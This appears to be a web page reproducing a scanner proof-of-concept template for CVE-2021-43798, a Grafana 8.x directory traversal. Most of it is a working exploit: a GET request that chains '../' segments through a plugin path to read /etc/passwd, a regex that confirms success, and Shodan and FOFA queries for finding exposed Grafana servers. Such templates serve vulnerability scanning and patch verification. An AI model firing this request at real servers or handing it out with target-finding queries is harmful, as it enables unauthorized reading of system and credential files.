CVE-2021-43798: Grafana v8.x Arbitrary File Read

2025-08-01 Grafana PoC Public

Description

Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `<grafana_host_url>/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.

shodan title:"Grafana"

fofa app="Grafana"

PoC

id: CVE-2021-43798

info:
  name: Grafana v8.x Arbitrary File Read
  author: z0ne,dhiyaneshDk
  severity: high
  description: |-
    Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `<grafana_host_url>/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.
    shodan title:"Grafana"
    fofa app="Grafana"
  reference:
    - https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
    - https://nosec.org/home/detail/4914.html
    - https://github.com/jas502n/Grafana-VulnTips
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43798
  tags: cve,cve2021,grafana,fileread
  created: 2023/10/11

set:
  verify_payload: randomLowercase(32)
rules:
  r0:
    request:
      method: GET
      path: /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd
    expression: response.status == 200  && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2021/CVE-2021-43798.yaml

References

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